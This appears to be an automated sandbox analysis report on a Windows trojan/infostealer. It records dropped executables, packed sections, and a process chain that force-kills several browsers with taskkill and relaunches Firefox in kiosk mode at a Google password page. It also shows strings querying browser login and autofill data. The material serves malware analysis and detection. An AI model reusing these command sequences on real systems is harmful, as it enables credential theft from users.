Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001BBF40	6_2_001BBF40
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00222046	6_2_00222046
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001B8060	6_2_001B8060
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00218298	6_2_00218298
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001EE4FF	6_2_001EE4FF
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001E676B	6_2_001E676B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00244873	6_2_00244873
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001DCAA0	6_2_001DCAA0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001BCAF0	6_2_001BCAF0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001CCC39	6_2_001CCC39
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001E6DD9	6_2_001E6DD9
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001CB119	6_2_001CB119
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001B91C0	6_2_001B91C0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D1394	6_2_001D1394
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D1706	6_2_001D1706
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D781B	6_2_001D781B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001B7920	6_2_001B7920
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001C997D	6_2_001C997D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D19B0	6_2_001D19B0
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D7A4A	6_2_001D7A4A
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D1C77	6_2_001D1C77
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D7CA7	6_2_001D7CA7
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0023BE44	6_2_0023BE44
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001E9EEE	6_2_001E9EEE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001D1F32	6_2_001D1F32

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: String function: 001CF9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: String function: 001D0A30 appears 46 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: skotes.exe.4.dr	Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: random[1].exe.26.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 9b7d422018.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: random[1].exe0.26.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: a4769912c1.exe.26.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 48bf814d33.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 7617eef03d.exe.26.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 20b68761b3.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 572c19a989.exe.26.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 66c6d84346.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 768041f87c.exe.26.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925

Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, a4769912c1.exe, 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, 7617eef03d.exe, 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, 572c19a989.exe, 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, 768041f87c.exe, 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@81/55@122/17

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_002237B5 GetLastError,FormatMessageW,

6_2_002237B5

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_002110BF AdjustTokenPrivileges,CloseHandle,		6_2_002110BF
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_002116C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_002116C3

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_002251CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_002251CD

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0021D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_0021D4DC

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0022648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

6_2_0022648E

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001B42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_001B42A2

Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\M3T59E2M.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2008:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9b7d422018.exe, 0000001B.00000003.2504520565.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2615264795.00000000053A4000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2649244353.000000000535A000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2652432468.0000000005378000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2720052352.0000000005665000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2732099290.0000000005406000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill;

Source: file.exe	Virustotal: Detection: 46%
Source: file.exe	ReversingLabs: Detection: 42%

Source: KGMUJDGOAL6LWD7UD45LIZ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2SGVUOBNN8HUJ5IDUWDR.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe "C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe "C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe "C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe"
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe "C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe "C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe "C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe"
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
